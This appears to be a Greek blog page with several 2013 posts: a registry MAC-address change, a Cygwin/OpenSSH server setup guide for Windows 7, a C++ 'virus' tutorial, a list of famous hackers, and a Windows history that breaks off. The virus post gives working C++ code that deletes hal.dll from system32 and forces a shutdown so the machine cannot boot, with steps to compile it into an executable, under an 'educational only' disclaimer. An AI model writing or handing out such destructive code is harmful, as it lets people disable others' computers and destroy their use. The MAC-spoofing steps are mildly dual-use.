!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****
Εμφάνιση αναρτήσεων με ετικέτα Windows. Εμφάνιση όλων των αναρτήσεων
Εμφάνιση αναρτήσεων με ετικέτα Windows. Εμφάνιση όλων των αναρτήσεων

Παρασκευή 8 Φεβρουαρίου 2013

Aλλαγή MAC Address στα Windows χειροκίνητα

Για να αλλάξουμε χειροκίνητα την Mac Αddress της κάρτα δικτύου μας θα πρέπει πρώτα να πάμε στο Start και να πατήσουμε στην αναζήτηση (search) ''regedit'' και μετά κλικ στο ΟΚ, όπως στην παρακάτω εικόνα.



Κατόπιν ψάχνουμε την ανάλογη διαδρομή:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}


Όταν φτάσουμε στο τελικό σημείο {4D36E972-E325-11CE-BFC1-08002BE10318} ψάχνουμε να βρούμε την κάρτα δικτύου μας όπως φαίνεται και στην εικόνα



Αφού βρούμε την κάρτα δικτύου μας ψάχνουμε κοιτώντας δίπλα στις τιμές να βρούμε την τιμή "NetworkAddress" αν δεν σας εμφανίζει την τιμή τότε μπορείτε να την δημιουργήσετε πατώντας:

New > String Value και όνομα NetworkAddress και γράψτε την ΜΑC Address που επιθυμείτε.


Τέλος κάντε επανεκκίνηση τον υπολογιστή σας για να εφαρμοστούν οι αλλαγές.


ΠΡΟΣΟΧΗ !!!
Να είστε ιδιαίτερα προσεκτικοί όταν κάνετε αλλαγές στην Registry των Windows γι' αυτό πριν από κάθε αλλαγή είναι προτιμότερο να κάνετε ένα backup των ρυθμίσεων ώστε να μπορείτε να τις ξαναανακτήσετε. Και κάτι ακόμα να προσέχετε τι κάνετε και πιο αρχείο χειρίζεστε και πως το χειρίζεστε γιατί οι αλλαγές στην Registry των Windows μπορεί να αποβούν μοιραίες για τη λειτουργία του λειτουργικού σας συστήματος. Για οποιοδήποτε λάθος χειρισμό δεν ευθύνεται το tutorial γι αυτό καλύτερα αν δεν γνωρίζεται να μη προβείτε σε οποιαδήποτε ενέργεια αν δεν είστε γνώστης του αντικειμένου.

Τετάρτη 6 Φεβρουαρίου 2013

Βάλτε SSH server στα Windows

Οι φίλοι του Linux, του BSD αλλά και πολλοί από τον κόσμο του OS X, γνωρίζουν καλά τα οφέλη του πρωτοκόλλου SSH. Χάρη μάλιστα στο OpenSSH το χαίρονται καθημερινά, επιτυγχάνοντας απομακρυσμένες, ασφαλείς συνδέσεις στους υπολογιστές τους. Οι χρήστες των Windows μπορούν κι εκείνοι να καρπώνονται τα οφέλη του SSH. Σε αυτό το άρθρο δείχνουμε πώς ακριβώς.
Θα ξεκινήσουμε με μια πολύ σύντομη εισαγωγή στο πρωτόκολλο SSH και στα όσα προσφέρει, ακολούθως θα δείξουμε πώς εγκαθιστούμε και ρυθμίζουμε τα Cygwin και OpenSSH στα Windows 7 και, τέλος, θα δώσουμε μερικά παραδείγματα συνδέσεων ενώ θα εξηγήσουμε και πώς μπορούμε να σερφάρουμε με ασφάλεια μέσω των λεγόμενων SSH tunnels. Αυτό το τελευταίο μπορείτε να το σκέφτεστε ως μια απλούστερη εναλλακτική του OpenVPN, με τα πλεονεκτήματα αλλά και τα μειονεκτήματά της.

Τι είναι τα SSH και OpenSSH

Το Secure Shell ή αλλιώς SSH είναι ένα δικτυακό πρωτόκολλο που ορίζει έναν τρόπο για ασφαλείς, κρυπτογραφημένες συνδέσεις μεταξύ δύο μηχανημάτων. Οι κρυπτογραφημένες αυτές συνδέσεις είναι δυνατόν να επιτυγχάνονται και μέσω ενός επισφαλούς, εν γένει, δικτύου, όπως είναι το Internet. Το SSH συνήθως χρησιμοποιείται για την απομακρυσμένη, πλήρη πρόσβαση στη γραμμή εντολών διαφόρων Unix boxes, αλλά όχι μόνο. Συχνά, π.χ., επιστρατεύεται για ασφαλείς μεταφορές αρχείων, περιήγηση στο web μέσω των λεγόμενων SSH tunnels κ.ο.κ. Περισσότερα για το SSH μπορείτε να διαβάσετε στο σχετικό λήμμα της Wikipedia:


Το δε OpenSSH είναι ένα σύνολο προγραμμάτων για την υλοποίηση συνδέσεων SSH. Αναπτύχθηκε αρχικά στους κόλπους του OpenBSD project, αποτελεί Open Source Software και σήμερα διατίθεται για κάθε γνωστό κι άγνωστο σύστημα Unix, καθώς και για τα Windows. Το OpenSSH ακολουθεί τη λογική του μοντέλου client-server, όπως άλλωστε ορίζει το SSH. Σ' αυτό το άρθρο ασχολούμαστε με την εκδοχή του OpenSSH server για Windows, ενώ δείχνουμε φυσικά και πώς συνδεόμαστε σ' αυτόν από διάφορα λειτουργικά συστήματα, χρησιμοποιώντας τον κατάλληλο για την περίσταση client.

Εγκατάσταση Cygwin και OpenSSH

Το OpenSSH λειτουργεί σε Unixοειδή περιβάλλοντα. Ένα τέτοιο περιβάλλον για τα Windows παρέχεται από το Cygwin project. Για την εγκατάστασή του, κατεβάστε το προγραμματάκι setup.exe με κλικ στο


Αποθηκεύστε το σ' ένα βολικό μέρος. Είναι πολύ πιθανό να το χρειαστείτε κι αργότερα, π.χ., για την εγκατάσταση κάποιου έξτρα εργαλείου ή βιβλιοθήκης. Τρέξτε το setup.exe κι όταν ερωτηθείτε επιλέξτε εγκατάσταση από το Internet.

Όλα τα απαραίτητα πακέτα για την εγκατάσταση του Cygwin θα ληφθούν από το Internet.

Ως ριζικό κατάλογο (root directory) για την εγκατάσταση, αφήστε τον προεπιλεγμένο. Η εγκατάσταση καλό είναι να γίνει για όλους τους χρήστες του Windows box.

Αναφορικά με τον κατάλογο εγκατάστασης και τη διαθεσιμότητα του Cygwin στους χρήστες των Windows, αφήστε τις προεπιλογές.

Υποδείξτε έναν κατάλογο, μέσα στον οποίο το setup.exe θα κατεβάζει τα αρχεία της εγκατάστασης.

Πού θα αποθηκεύει τα πακέτα που κατεβάζει από το Internet το setup.exe, πριν την εγκατάστασή τους;

Αναφορικά με τη σύνδεσή σας στο Internet, αν χρειάζεται να διαλέξετε κάτι διαφορετικό από το Direct Connection, μάλλον θα το γνωρίζετε ήδη.

Σε λίγες μόνο περιπτώσεις, θα χρειαστεί να επιλέξετε διαφορετικό τρόπο σύνδεσης στο Internet.

Επιλέξτε ένα κατά το δυνατόν κοντινό mirror, από το οποίο θα κατέβουν τα στοιχεία της εγκατάστασης.

Για εμάς, η κοντινότερη τοποθεσία για το κατέβασμα των αρχείων εγκατάστασης ήταν το Μετσόβειο Πολυτεχνείο.

Αν αυτή είναι η πρώτη φορά που εγκαθιστάτε το Cygwin, τότε μπορείτε να αγνοήσετε αυτό το ανησυχητικό, προειδοποιητικό μήνυμα.

Αυτό το μήνυμα αφορά μόνον εκείνους που αναβαθμίζουν μια υπάρχουσα εγκατάσταση του Cygwin.

Στο στάδιο της επιλογής πακέτων, εστιάστε την προσοχή σας στη θυρίδα Search, πάνω αριστερά. Πληκτρολογήστε εκεί "openssh", χωρίς τα εισαγωγικά. Από την κατηγορία πακέτων Net, διαλέξτε την τελευταία διαθέσιμη έκδοση του OpenSSH και τσεκάρετε το κουτάκι της στήλης Bin, ώστε να εγκατασταθούν τα αντίστοιχα binaries.

Στη θυρίδα πάνω αριστερά πληκτρολογούμε ένα μέρος ή ολόκληρο το όνομα ενός πακέτου του Cygwin, το οποίο ψάχνουμε για να εγκαταστήσουμε. 

Επιλέγουμε προς εγκατάσταση το binary της τελευταίας διαθέσιμης έκδοσης, του πακέτου openssh.

Λόγω του αιτήματος σας για εγκατάσταση του OpenSSH, χρειάζονται και ορισμένα πρόσθετα πακέτα. Εννοείται ότι θα δεχθείτε την εγκατάστασή τους.

Για τη λειτουργία του OpenSSH χρειάζονται πρόσθετα πακέτα, την εγκατάσταση των οποίων φυσικά κι επιτρέπουμε.

Η διαδικασία της εγκατάστασης θα ξεκινήσει κι αν όλα πάνε καλά θα εξελιχθεί ομαλά. Μόνη περίπτωση να στραβώσει κάτι είναι αν προκύψει κάποιο θέμα με τη δικτυακή σύνδεση προς το mirror. Ακόμη και τότε, έχετε υπόψη ότι μπορείτε να επαναλάβετε τη διαδικασία τρέχοντας ξανά το setup.exe.

Το περιβάλλον του Cygwin εγκαθίσταται από το Internet, όμορφα, ωραία, χωρίς απρόοπτα!

Μετά την εγκατάσταση, στο start menu των Windows θα υπάρχει μια καταχώρηση με όνομα Cygwin Terminal. Επιλέγοντάς τη ανοίγει ένα παράθυρο τερματικού, στο οποίο τρέχει το BASH shell του περιβάλλοντος Cygwin. Πληκτρολογήστε εντολές όπως:
uname -a
και
echo $SHELL
για να δείτε κι εσείς ότι τα Windows σας φιλοξενούν, πλέον, ένα πλήρες Unixοειδές περιβάλλον, το οποίο περιλαμβάνει και το δημοφιλέστατο BASH shell.

Το Cygwin έχει εγκατασταθεί επιτυχώς, κι αυτό είναι κάτι που φαίνεται *και* μέσα από το λεγόμενο Cygwin Terminal.

Ρύθμιση κι ενεργοποίηση OpenSSH

Ανοίξτε ένα Cygwin Terminal, αλλά με δικαιώματα administrator.

Για τη ρύθμιση κι ενεργοποίηση του OpenSSH, το Cygwin Terminal πρέπει να το τρέξουμε από το λογαριασμό του Administrator των Windows.

Στο τερματικό, πληκτρολογήστε
ssh-host-config
Δεχθείτε το privilege separation…

Για λόγους ασφαλείας, το OpenSSH είναι καλό να λειτουργεί στα πλαίσια ενός λογαριασμού με περιορισμένα δικαιώματα. Δεχθείτε, λοιπόν, το privilege separation.

όπως επίσης και τη δημιουργία ενός νέου, περιορισμένου account με όνομα sshd, εντός του οποίου θα λειτουργεί ο OpenSSH server. Ακολούθως, δεχθείτε την εγκατάσταση του server ως υπηρεσία (service) των Windows. Στην προτροπή "Enter the value of CYGWIN for the daemon", πατήστε απλά το [Enter]. Στα Windows 7 θα χρειαστεί να φτιάξετε ένα νέο, privileged account. Το σκριπτάκι ssh-host-config φροντίζει γι' αυτό και προτείνει το όνομα cyg_server. Φανταζόμαστε ότι δεν έχετε κανέναν λόγο να θέλετε κάποιο άλλο, οπότε στη σχετική ερώτηση γράψτε "no" (χωρίς τα εισαγωγικά) και πατήστε απλά το [Enter]. Μετά, στην ερώτηση για το αν επιθυμείτε τη δημιουργία του νέου account, δώστε "yes", ακολουθούμενο από [Enter] φυσικά. Μένει να δώσετε κι ένα password για τον λογαριασμό με όνομα cyg_server. Κάντε το και η διαδικασία ρύθμισης θα ολοκληρωθεί.

Στα Windows 7 απαιτείται και η δημιουργία ενός λογαριασμού με δικαιώματα υπερχρήστη. Ο λογαριασμός αυτός προστατεύεται φυσικά από password, που εμείς οι ίδιοι ορίζουμε.

Στο επόμενο reboot ο OpenSSH server θα ενεργοποιηθεί αυτόματα. Μπορείτε να τον σηκώσετε τώρα, χωρίς reboot, δίνοντας:
net start sshd
Αν όλα έχουν πάει καλά, ο OpenSSH server θα μπει σε λειτουργία και στο τερματικό του Cygwin θα δείτε τα δύο μηνύματα που φαίνονται στο ακόλουθο screenshot.

Ο OpenSSH server ενεργοποιήθηκε ως υπηρεσία των Windows και είναι έτοιμος για συνδέσεις εκ μέρους των διαφόρων SSH clients.

Εξ ορισμού, ο OpenSSH server χρησιμοποιεί το port 22. Πριν κάνετε την πρώτη σύνδεσή σας οφείλετε να βεβαιωθείτε ότι το port είναι ανοικτό στο firewall. Στην περίπτωση εκείνου που έχουν τα Windows 7, ανοίξτε το Control Panel κι ακολουθήστε τη διαδρομή System and Security --> Windows Firewall --> Advanced settings. Στο παράθυρο με τίτλο Windows Firewall with Advanced Security κάντε κλικ στο Inbound Rules (αριστερά) και μετά άλλο ένα στο New Rule... (δεξιά). Ακολουθήστε τα βήματα του οδηγού που θα εμφανιστεί, προκειμένου να επιτρέψετε τις εισερχόμενες στο port 22 συνδέσεις TCP.

Τώρα, όπως στην περίπτωσή μας έτσι και στη δική σας φανταζόμαστε ότι το Windows box βρίσκεται πίσω από κάποιο modem/router. Επομένως, στο firewall του router πρέπει να προσθέσετε και τον απαραίτητο κανόνα port forwarding, ώστε αιτήσεις για συνδέσεις TCP στο τάδε port του router να ανακατευθύνονται στο port 22/TCP του Windows box. Και γράφουμε "τάδε port του router" κι όχι "port 22 του router", επειδή για λόγους ασφαλείας είναι καλή ιδέα το port που βλέπει απευθείας το Internet να είναι κάποιο "άσχετο", πάνω από το 1024 (π.χ., το 2222).

Παραδείγματα συνδέσεων

Οι συνδέσεις SSH από Linux/BSD/OS X προς το Cygwin command shell του Windows box, γίνονται πανεύκολα: Το μόνο που χρειάζεται είναι το προγραμματάκι ssh, το οποίο και τρέχουμε από ένα οποιοδήποτε τερματικό. Για λόγους πληρότητας και μόνο, παραθέτουμε τη γενική του σύνταξη:
ssh -p remote_port remote_user_name@remote_box_ip_or_fqdn
Όταν το απομακρυσμένο port είναι το προκαθορισμένο (22), τότε η παράμετρος -p μπορεί να παραλείπεται. Επίσης, όταν το τοπικό user name είναι ίδιο με το απομακρυσμένο, τότε και το τμήμα "remote_user_name@" μπορεί να παραλείπεται.

Απομακρυσμένη σύνδεση στο Windows box, μέσω του πρωτοκόλλου SSH κι από το τερματικό ενός μηχανήματος που τρέχει Linux Mint. Είχατε συνηθήσει να κάνετε ή να ακούτε για το αντίστροφο, ε;

Για συνδέσεις από μηχανήματα Windows, ένα άριστο εργαλείο είναι το (δωρεάν) PuTTY.

Την πρώτη φορά που επιχειρούμε να συνδεθούμε από το PuTTY (ή από οποιονδήποτε άλλον client) στον απομακρυσμένο OpenSSH server (που στο παράδειγμά μας λειτουργεί κάτω από Windows), μιας και το τοπικό μηχάνημα δεν έχει κάποιοn τρόπο για να επαληθεύσει την αληθινή ταυτότητα του server, το να επιτρέψουμε την ολοκλήρωση της σύνδεσης είναι δική μας ευθύνη. 

Με χρήση του PuTTY, έχουμε συνδεθεί επιτυχώς μέσω SSH στο command shell ενός Windows box! 

Εκτός από πρόσβαση στο command shell του απομακρυσμένου Windows box, έχουμε τη δυνατότητα να στέλνουμε ή/και να παίρνουμε αρχεία από το μηχάνημα -- πάντα μέσω SSH. Το scp είναι ένα εργαλείο για Linux/BSD/OS X που χρησιμοποιείται από τη γραμμή εντολών και είναι κατάλληλο για τέτοιες μεταφορές. Μπορούμε όμως να χρησιμοποιούμε κι έναν οποιονδήποτε FTP client για το περιβάλλον γραφικών, αρκεί να υποστηρίζει συνδέσεις FTP πάνω από SSH (ή αλλιώς συνδέσεις SFTP). Ένα παράδειγμα τέτοιου client για Windows και OS X, είναι το δωρεάν Cyberduck. Ό,τι πρέπει είναι και το επίσης δωρεάν FileZilla, το οποίο διατίθεται για Windows/Linux/OS X.

Σύνδεση από Windows XP και FileZilla μέσω SSH, στον κατάλογο με τα αρχεία χρήστη ενός απομακρυσμένου Windows 7 box το οποίο τρέχει το OpenSSH.

Σημειώστε ότι κάθε φορά που συνδεόμαστε (μέσω SSH) στο λογαριασμό του χρήστη Windows με όνομα username, αυτομάτως προσγειωνόμαστε στον κατάλογο /home/username. Αυτό είναι το home directory του χρήστη username για το Cygwin. Τώρα, με την εντολή ls βλέπουμε ότι τα drives του συστήματος είναι προσαρτημένα κάτω από τον κατάλογο /cygwin. Αν υποθέσουμε ότι τα Windows είναι εγκατεστημένα στο C drive (το πιθανότερο), τότε τα αρχεία του χρήστη username για τα Windows θα είναι κάτω από το /cygdrive/c/Users/username. Καλό είναι να το έχουμε υπόψη αυτό, ειδικά για τις περιπτώσεις που θέλουμε να μεταφέρουμε αρχεία από ή προς το Windows box.

ΑΑΑΑΑΑΑΑΑΑ

OpenSSH vs OpenVPN

Οι απομακρυσμένες συνδέσεις σε υπολογιστή που τρέχει το OpenSSH είναι απόλυτα ασφαλείς, ενώ μας παρέχουν και κάποια έξτρα, όπως, π.χ., ξένοιαστο σερφάρισμα στο web (εκτός κι αν κάποιος σνιφάρει εντός του τοπικού δικτύου που τρέχει ο OpenSSH server, δηλαδή). Το OpenSSH θα μπορούσε κάποιος να το δει ως το μικρό αδελφάκι του OpenVPN. Χάρη στο τελευταίο, έχουμε πλήρη πρόσβαση στο τοπικό δίκτυο του υπολογιστή που τρέχει τον αντίστοιχο server. Επιπρόσθετα, σερφάρουμε με ασφάλεια στο web ενώ και οποιαδήποτε άλλη δικτυακή υπηρεσία περνάει μέσω του ασφαλούς, κρυπτογραφημένου καναλιού μεταξύ client και OpenVPN server. Όλα αυτά μάλιστα επιτυγχάνονται χωρίς να χρειαζόμαστε κάποιον proxy για μία ή περισσότερες εφαρμογές, όπως συμβαίνει στην περίπτωση του surfing μέσω SSH tunnel.
Αν επιχειρούσαμε μια σύγκριση μεταξύ OpenSSH και OpenVPN, εστιάζοντας τότε στα θετικά καθεμιάς εκ των δύο λύσεων θα μπορούσαμε να αναφέρουμε τα ακόλουθα:

OpenSSH. Εύκολο και γρήγορο setup, άριστη λύση για πλήρη πρόσβαση στο απομακρυσμένο box, δυνατότητα επιλεκτικού SSH tunneling (π.χ., HTTP/HTTPS traffic).

OpenVPN. Πλήρης πρόσβαση στο box αλλά και στο τοπικό δίκτυο εντός του οποίου βρίσκεται, αναδρομολόγηση όλης ανεξαιρέτως της δικτυακής κίνησης μέσω VPN tunnel (χωρίς την ανάγκη τοπικών proxies).

Το στήσιμο του OpenVPN απαιτεί περισσότερη δουλειά αλλά και πόρους, σε σχέση με το OpenSSH.

Τετάρτη 23 Ιανουαρίου 2013

Πως να δημιουργήσετε έναν απλό ιό στην C++

Σε αυτό το tutorial θα δούμε πως μπορούμε να γράψουμε έναν απλό ιό χρησιμοποιώντας τη γλώσσα προγραμματισμού C++. Για όσους έχουν κάποιες βασικές γνώσεις στην C++ τότε είναι πολύ απλό...
Συγκεκριμένα το script με τον ιό που θα φτιάξουμε είναι ένας ιός που παίρνει παράνομα τον έλεγχο του υπολογιστή χωρίς την άδεια σας. Όλοι οι ιοί είναι επικίνδυνοι για κάθε υπολογιστή ειδικά trojan horse, backdoors κτλ. Ο παρακάτω ιός που θα δούμε είναι πολύ επικίνδυνος για τον υπολογιστή επομένως για εφαρμογή αυτού στον υπολογιστή σας δε φέρω καμία ευθύνη. Ο συγκεκριμένος ιός σβήνει από το σύστημα των windows το αρχείο hal.dll (ένα αρχείο απαραίτητο στην εκκίνηση των windows) και το οποίο βρίσκεται στο φάκελο system32 των windows. Έτσι με το τρέξιμο του ιού στον υπολογιστή σας το αποτέλεσμα θα είναι να κλείσει ο υπολογιστής και να μή μπορεί να εκκινήσει ξανά.

Ο κώδικας του ιού είναι ο παρακάτω:

#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll");
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

Στη συνέχεια αντιγράψτε αυτό τον κώδικα σε ένα notepad και αποθηκεύστε το ως bee.cpp όπου .cpp είναι η κατάληξη του αρχείου. Μετά χρησιμοποιήστε έναν μεταγλωτιστή ή αλλιώς compiler (υπάρχουν αρκετοί στο διαδίκτυο) και αποθηκεύστε το σε μορφή .exe
Αν τρέξετε το αρχείο με την κατάληξη .exe τότε θα γίνει εκκίνηση στο σύστημα και μετά θα "κρασάρει".

Οι 5 μεγαλύτεροι παράνομοι hackers όλων των εποχών

Αυτοί οι hackers είναι η αφρόκρεμα των ηλεκτρονικών εγκλημάτων και συνελήφθησαν στην πλειοψηφία τους λίγα μόλις χρόνια αφού άφησαν την εφηβεία. Κάποιοι το έκαναν για οικονομικούς λόγους κάποιοι απλά για πλάκα.

1. Kevin Mitnick

Ο Mitnick είναι μάλλον το συνώνυμο του Ηacker. Το Υπουργείο Δικαιοσύνης των Η.Π.A. Ακόμα αναφέρεται σε αυτόν χαρακτηρίζοντας τον ως «τον νούμερο ένα καταζητούμενο για ηλεκτρονικά εγκλήματα στην ιστορία των Η.Π.Α.». Τα κατορθώματά του έχουν εμπνεύσει δημιουργούς του Hollywood και συμπεριλαμβάνονται σε δύο ταινίες, στο Takedown και στο Freedom Downtime. Ο Mitnick ξεκίνησε την «καριέρα» του από τον σύστημα καρτών λεωφορείων του Los Angeles όπου μπορούσε να εκτυπώνει κάρτες για τζάμπα διαδρομές.Μετά από εκεί το ενδιαφέρον του στράφηκε στα κινητά τηλέφωνα και μπήκε στο σύστημα της Digital Equipment Corporation κλέβοντας πολύτιμα software. Από εκεί και μετάξεκίνησε μια διαδρομή δυόμιση χρόνων περίπου με τον Mitnick να παραβιάζει υπολογιστές,δίκτυα τηλεφώνων, κυβερνητικά έγγραφα και δημόσια συστήματα. Αυτό που έδωσε τέλοςστην πορεία του ήταν η προσπάθεια του να παραβιάσει τον προσωπικό υπολογιστή ενόςάλλου hacker, του Tsutomu Shimomura. Αυτή την στιγμή ο Mitnick είναι ενεργό μέλος της κοινωνίας δουλεύοντας ως υπεύθυνος ασφαλείας υπολογιστών, σχολιαστής και σύμβουλος.

 

2. Adrian Lamo

Ο Lamo έχει μείνει στην ιστορία ως ένας από τους μεγαλύτερους hackers γιατί «χτύπησε»μεγάλες εταιρίες όπως η Microsoft και η New York Times. Ο Lamo χρησιμοποιούσε ως επί το πλείστον δημόσιες συνδέσεις internet σε καφετέριες για να είναι πιο δύσκολο να εντοπιστεί, κάτι που του έδωσε το παρατσούκλι «άστεγος hacker». Η λίστα των εταιριών που απέκτησε πρόσβαση ο Lamo περιέχει επίσης τις, Υahoo!, Citigroup, Bank of America και Cingular, βέβαια στα πλαίσια της ομάδας White Hat Hackers οι οποίοι   προσλαμβάνονται από τις ίδιες τις εταιρίες για να βρουν λάθη στο σύστημα προστασίας τους ο Lamo δεν διέπραξε κανένα έγκλημα αλλά παρέβη το νόμο όταν μπήκε στο ιδιωτικό σύστημα επικοινωνίας των New York Times. Αυτή την στιγμή ο Lamo έχει εκτίσει την διετή ποινή περιορισμού που του είχε επιβληθεί και είναι βραβευμένος δημοσιογράφος.

 

3. Jonathan James

Στα 16 του χρόνια ο James, έγινε ο πρώτος ανήλικος που καταδικάζεται για ηλεκτρονικά εγκλήματα με ποινή φυλάκισης. Αργότερα παραδέχτηκε ο ίδιος ότι το έκανε για πλάκα και απολάμβανε τις προκλήσεις. Ο James «χτυπούσε» μεγάλους δημόσιους οργανισμούς όπως ένα παράρτημα του Υπουργείου Δικαιοσύνης και έπαιρνε κωδικούς για να έχει πρόσβαση σε απόρρητους λογαριασμούς e-mail. Εκτός από αυτά ο James απέκτησε πρόσβαση στους υπολογιστές της NASA και έκλεψε πολύτιμα software συνολικής αξίας 1,7 εκατ. δολαρίων. Αυτή την στιγμή ο James επιχειρεί να αναπτύξει την δικιά του επιχείρηση ασφάλειας υπολογιστών.

 

4. Robert Tappan Morris

Ο Morris είναι γιος ενός πράκτορα της NSA και δημιουργός του Morris worm. To worm είναι ένα είδος ιού που εξαπλώνεται και αυτό-αντιγράφεται ανεξέλεγκτα καταστρέφοντας χιλιάδες μηχανήματα. Το συγκεκριμένο worm ήταν το πρώτο που αναπτύχθηκε και διαδόθηκε μέσω του internet. Ο Morris το δημιούργησε ενώ ήταν φοιτητής στο Cornell και ισχυρίστηκε ότι το έκανε απλά για να δει πόσο μεγάλο ήταν το internet εκείνη την στιγμή. Το worm ωστόσο άρχισε να διαδίδεται ανεξέλεγκτα προκαλώντας πρόβλημα σε χιλιάδες υπολογιστές κάτι που κόστισε στον Morris ένα βαρύ πρόστιμο και 400 ώρες κοινωνικής εργασίας. Σήμερα o Morris είναι καθηγητής στο πανεπιστήμιο MIT στο τμήμα Computer Science και ο τομέας έρευνας του είναι η αρχιτεκτονική των δικτύων υπολογιστών.

 

5. Kevin Poulsen

Πιο γνωστός με το παρατσούκλι του, Dark Dante, ο Kevin Poulsen έγινε γνωστός εισβάλοντας στο τηλεφωνικό κέντρο του ραδιοφωνικού σταθμού KISS-FM του Los Angeles παρεμβαίνοντας στις κληρώσεις και κερδίζοντας μεγάλα δώρα μεταξύ των οποίων και μια Porsche. Το FBI άρχισε να ασχολείται με τον Poulsen αφού απέκτησε πρόσβαση σε αρχεία της υπηρεσίας και αποσπούσε σημαντικές και απόρρητες πληροφορίες. Η ειδικότητά του ήταν οι τηλεφωνικές γραμμές και αποκτούσε πρόσβαση σε μεγάλα δίκτυα προκαλώντας το χάος. Αφού συνελήφθη σε ένα σουπερμάρκετ καταδικάστηκε για πέντε χρόνια, και ενώ ήταν στην φυλακή δούλευε ως δημοσιογράφος και αργότερα εκδότης των Wired News.

 
Αυτοί ήταν και οι πιο γνωστοί παράνομοι hackers στην ιστορία των Η.Π.Α αλλά δεν θα πρέπει να ξεχνάμε και την άποψη των πολλών που ισχυρίζονται ότι οι μεγαλύτεροι και καλύτεροι hackers είναι αυτοί που δεν τους ξέρει κανείς!
Παραπομπή από το βιβλίο Greek|Track 

Τρίτη 22 Ιανουαρίου 2013

Η ιστορία των Windows

Κύρια σημεία από τα πρώτα 25 χρόνια

1975–1981: Η Microsoft ξεκινά τη λειτουργία της

Είναι η δεκαετία του 70. Στη δουλειά μας βασιζόμαστε στις γραφομηχανές. Εάν χρειάζεται να αντιγράψουμε ένα έγγραφο, το πιθανότερο είναι να χρησιμοποιήσουμε πολύγραφο ή καρμπόν. Ελάχιστοι έχουμε ακουστά τους μικροϋπολογιστές, αλλά δύο νεαροί λάτρεις των υπολογιστών, ο Bill Gates και ο Paul Allen, διαβλέπουν στους προσωπικούς υπολογιστές το δρόμο προς το μέλλον. Το 1975, οι Gates και Allen προβαίνουν σε συνεργασία υπό την επωνυμία Microsoft. Όπως όλες οι νέες εταιρείες, η Microsoft είναι μικρή στο ξεκίνημά της, αλλά έχει τεράστιο όραμα — έναν υπολογιστή σε κάθε γραφείο και κάθε σπίτι. Στα επόμενα χρόνια, η Microsoft αρχίζει να μεταβάλλει τον τρόπο εργασίας μας.

Η εμφάνιση των MS‑DOS

Τον Ιούνιο του 1980, οι Gates και Allen προσλαμβάνουν έναν παλιό συμφοιτητή του Gates από το Χάρβαρντ, τον Steve Ballmer, για να συμβάλει στη διαχείριση της εταιρείας. Τον επόμενο μήνα, η IBM προσεγγίζει τη Microsoft σχετικά με ένα έργο με την κωδική ονομασία "Chess." Η Microsoft ανταποκρίνεται εστιάζοντας σε ένα νέο λειτουργικό σύστημα — το λογισμικό που διαχειρίζεται, ή "εκτελεί", το υλικό του υπολογιστή και γεφυρώνει το κενό ανάμεσα στο υλικό και τα προγράμματα του υπολογιστή, όπως το πρόγραμμα επεξεργασίας κειμένων. Πρόκειται για τα θεμέλια πάνω στα οποία μπορούν να εκτελούνται τα προγράμματα του υπολογιστή. Το νέο λειτουργικό τους σύστημα ονομάζεται "MS‑DOS."
Όταν ο προσωπικός υπολογιστής της IBM με MS‑DOS διατεθεί στην αγορά το 1981, παρουσιάζει μια εντελώς καινούργια γλώσσα στο ευρύ κοινό. Η πληκτρολόγηση του "C:" και ποικίλων κωδικοποιημένων εντολών γίνεται σταδιακά αναπόσπαστο κομμάτι της καθημερινής εργασίας. Οι άνθρωποι ανακαλύπτουν το πλήκτρο της ανάστροφης καθέτου (\).
Το MS‑DOS είναι αποτελεσματικό αλλά αποδεικνύεται και δυσνόητο για πολλούς. Θα πρέπει να υπάρχει καλύτερος τρόπος για την ανάπτυξη ενός λειτουργικού συστήματος.

1982–1985: Παρουσίαση των Windows 1.0

Η Microsoft εργάζεται για την πρώτη έκδοση ενός νέου λειτουργικού συστήματος. Η κωδική ονομασία είναι Interface Manager και θεωρείται τελική, αλλά η ονομασία Windows υπερισχύει επειδή περιγράφει καλύτερα τα πλαίσια ή "παράθυρα" του υπολογιστή που αποτελούν το βασικό στοιχείο του νέου συστήματος. Τα Windows ανακοινώνονται το 1983, αλλά η ανάπτυξή τους χρειάζεται χρόνο. Οι σκεπτικιστές τα αποκαλούν vaporware (ανύπαρκτο προϊόν).
Στις 20 Νοεμβρίου του 1985, δύο χρόνια μετά την αρχική ανακοίνωση, η Microsoft θέτει σε κυκλοφορία τα Windows 1.0. Πλέον, αντί της πληκτρολόγησης εντολών MS‑DOS, πρέπει απλώς να μετακινείτε ένα ποντίκι για να υποδεικνύετε και να επιλέγετε με κλικ την επιθυμητή περιήγηση στις οθόνες ή αλλιώς "παράθυρα". Σύμφωνα με τον Bill Gates, "Πρόκειται για ένα μοναδικό λογισμικό που προορίζεται για το σοβαρό χρήστη υπολογιστών…"
Υπάρχουν αναπτυσσόμενα μενού, γραμμές κύλισης, εικονίδια και παράθυρα διαλόγου που επιταχύνουν τη διαδικασία εκμάθησης και χρήσης των προγραμμάτων. Έχετε τη δυνατότητα να πραγματοποιείτε μετάβαση μεταξύ πολλών προγραμμάτων χωρίς να χρειάζεται τερματισμός και επανεκκίνηση κάθε προγράμματος. Τα Windows 1.0 συνοδεύονται από πολλά προγράμματα, όπως η Διαχείριση αρχείων MS‑DOS, η Ζωγραφική, το Windows Writer, το Σημειωματάριο, η Αριθμομηχανή, ημερολόγιο, αρχείο καρτών και ρολόι, για τη διαχείριση των καθημερινών σας δραστηριοτήτων. Υπάρχει ακόμα κι ένα παιχνίδι, το Reversi

1987–1992: Windows 2.0–2.11 — Περισσότερα παράθυρα, μεγαλύτερη ταχύτητα

